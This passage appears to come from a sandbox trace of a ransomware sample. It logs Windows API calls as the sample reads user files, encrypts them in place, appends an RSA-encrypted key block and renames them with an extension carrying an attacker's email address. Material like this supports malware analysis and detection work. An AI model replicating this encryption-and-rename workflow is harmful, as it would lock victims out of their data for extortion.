lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.282] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e75ec8*, nNumberOfBytesToWrite=0x13f8d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e75ec8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13f8d, lpOverlapped=0x0) returned 1 [0155.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e75ec8 | out: hHeap=0x570000) returned 1 [0155.288] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13f8d [0155.289] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.289] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.289] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.289] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.289] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.289] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="aAJ1AoVObJ944UvVlTIm3c0ImgdJQWXBqI5ncAA6q7+HsPKBL29Cw5nsBoCpr/f+\n14w3LixdJRFaaVJQ1fbCXzfP+dL2bjymBwsW26YhjF8rLpwoDjjQ3+UeUtya1Hj5\nkWCG/Pc1IvhCEa0ohP5twDN41G7YSb1dNTlF4jRkrMAvTVrMRsL9TUOOvjuu0V4G\nTkraeujNyNPQTAF6maDVeZ10SdSMRV8xf0PvYtW6zPeRjsR/y/dj5o/lQ44nOoJR\n6HmGffqO2I1yOFPjX5yaXxJpYL9olWF/xmH7y8EIV1jLBuC0/RjcgHGW5qlzhbeP\no2hqRgKUa7vn5ynHF58jJw==\n", pcchString=0x2e3f9a8) returned 1 [0155.289] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.290] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.290] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.290] CloseHandle (hObject=0x6a8) returned 1 [0155.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.290] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\R E5gtd14baa.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\r e5gtd14baa.mkv"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\R E5gtd14baa.mkv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\r e5gtd14baa.mkv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e398 | out: hHeap=0x570000) returned 1 [0155.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0155.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0155.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd9e8 [0155.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11d0 [0155.359] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.359] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qUHTUX36HLp05nP.ods", dwFileAttributes=0x80) returned 1 [0155.360] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0155.360] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e2e0 [0155.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0155.360] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qUHTUX36HLp05nP.ods" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\quhtux36hlp05np.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.360] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=53751) returned 1 [0155.360] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd1f7) returned 0x6538b0 [0155.360] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd1f7) returned 0x2e61f30 [0155.360] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xd1f7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xd1f7, lpOverlapped=0x0) returned 1 [0155.362] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-53751, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.362] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0xd1f7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd1f7, lpOverlapped=0x0) returned 1 [0155.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.362] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd1f7 [0155.362] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.362] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.362] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.362] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.363] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.363] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.363] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="iG/soJS4P22KcOrqX1QCtBH612JwGZDcvhwvRzzbBVdOzePfyHl6TqQyMblKvC1p\n2/1aiqJ4gMxXSesqombb536UOY+J1CigfHDC9xapXySkAXIi0B7gxIv1ET1p2cTf\nU2xC400WDC/E6Sh9fY0RpIwUXQ92MzCmGWXGa936SOunUY7eHygHIphvXsKh5ZDJ\nmniab4Gh0i27vFb0XjpNNcnIy2oy9N4LD6UGi8kZuHvGw/iozlRVIdy/X7a1izCd\n+3Nwvsp4nzkOK9n/ZHgnupZkp652ZoI3Hzbed0hNZoeyhUlvZVhNDgzq9m2+6cV1\ng3gm6SE0y1DzfkZnBf2Jnw==\n", pcchString=0x2e3f9a8) returned 1 [0155.363] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.363] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.363] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.363] CloseHandle (hObject=0x6a8) returned 1 [0155.363] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.363] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qUHTUX36HLp05nP.ods" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\quhtux36hlp05np.ods"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qUHTUX36HLp05nP.ods.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\quhtux36hlp05np.ods.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.365] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2e0 | out: hHeap=0x570000) returned 1 [0155.365] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11d0 | out: hHeap=0x570000) returned 1 [0155.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0155.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0155.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0155.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.373] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.373] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\O_EoIb.png", dwFileAttributes=0x80) returned 1 [0155.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0155.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0155.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0155.373] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\O_EoIb.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\o_eoib.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.374] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18492) returned 1 [0155.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x483c) returned 0x6538b0 [0155.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x483c) returned 0x6580f8 [0155.374] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x483c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x483c, lpOverlapped=0x0) returned 1 [0155.375] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-18492, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.375] WriteFile (in: hFile=0x6a8, lpBuffer=0x6580f8*, nNumberOfBytesToWrite=0x483c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6580f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x483c, lpOverlapped=0x0) returned 1 [0155.375] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.375] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6580f8 | out: hHeap=0x570000) returned 1 [0155.375] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x483c [0155.375] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.375] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.375] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.375] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.375] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.375] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="wSvn8QAtmkqczedfDM0COOaLK7+rkrzbVF5aefSbvI/udG/7lhffnyZpBE+X9pq+\n4snzh4gpfsjb90KV4XGGRxAeYN8dTkwEbI/IHcK3y4BxXaPRDv/cOWGWVNsuO/bh\nLXEYJkhtJdT1pTNlPTZ+d3aizvFDNt85mrb52i+7B/TxyaCYqnW2LchH8ToknKRO\ncWqxFEUCC01C5QbMbnq2syZXboKovfkOkwdXedSwa7uGUWB/qtc91rU7swWuWn6R\njth0J3chrqHCdK7367wy7TbVe8MTajW0PF5fI8QS7kkm5AdOIpH0eyZ7XGe6Iv5U\nQD5nUyD3SH6517sDmoZhAQ==\n", pcchString=0x2e3f9a8) returned 1 [0155.375] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.375] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.375] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.376] CloseHandle (hObject=0x6a8) returned 1 [0155.376] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.376] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\O_EoIb.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\o_eoib.png"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\O_EoIb.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\o_eoib.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.377] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0155.377] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.377] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0155.377] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0155.377] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0155.377] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.377] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.377] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Oq8bnDM.mp4", dwFileAttributes=0x80) returned 1 [0155.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0155.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0155.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0155.378] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Oq8bnDM.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\oq8bndm.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.378] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=83368) returned 1 [0155.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x145a8) returned 0x2e61f30 [0155.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x145a8) returned 0x2e764e0 [0155.378] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x145a8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x145a8, lpOverlapped=0x0) returned 1 [0155.380] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-83368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.380] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e764e0*, nNumberOfBytesToWrite=0x145a8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e764e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x145a8, lpOverlapped=0x0) returned 1 [0155.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e764e0 | out: hHeap=0x570000) returned 1 [0155.381] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x145a8 [0155.381] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.381] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.381] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.381] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.381] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.382] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="yy74r/2+7J0TcAkxjCL0yYZV/9BPrzfLin0ITX8ak70dd3NqLmUA010hW2j9Eeql\n5H4D+NG/FH9QzKcODXkYcrxCJ1kHWQLlY1i2lrOOZSHcLpn0OS2MBNu6PMfcMSbi\nipHS2+/A/j0mr6WREQtxYwwbWSp5rUOM8R7vzemlBM6FtFEwQ2+6taU23kFyVrF3\nsU78AQU+oZwa2qy7aVlJdTY7Z4CQ2OCLYjeV8KvzNg/aVuZJQlwPFBqZP5yq9hjZ\nTmg826GA7zIAD8AQF4bGle7pDnwZhrXCUW2iBXHwPI3XLhHciEAgqNND0qFlkpXd\nfUDpyGOB5eG72qiPuDCKbg==\n", pcchString=0x2e3f9a8) returned 1 [0155.382] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.382] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.382] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.382] CloseHandle (hObject=0x6a8) returned 1 [0155.382] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.382] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Oq8bnDM.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\oq8bndm.mp4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Oq8bnDM.mp4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\oq8bndm.mp4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0155.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0155.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0155.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0155.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.384] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.384] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\oN9ww_0Ihya.ots", dwFileAttributes=0x80) returned 1 [0155.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0155.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e730 [0155.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0155.384] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\oN9ww_0Ihya.ots" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\on9ww_0ihya.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.384] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=20561) returned 1 [0155.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5051) returned 0x6538b0 [0155.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5051) returned 0x658910 [0155.384] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x5051, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x5051, lpOverlapped=0x0) returned 1 [0155.385] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-20561, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.385] WriteFile (in: hFile=0x6a8, lpBuffer=0x658910*, nNumberOfBytesToWrite=0x5051, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x658910*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5051, lpOverlapped=0x0) returned 1 [0155.385] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.385] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658910 | out: hHeap=0x570000) returned 1 [0155.385] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5051 [0155.385] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.385] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.385] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.385] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: 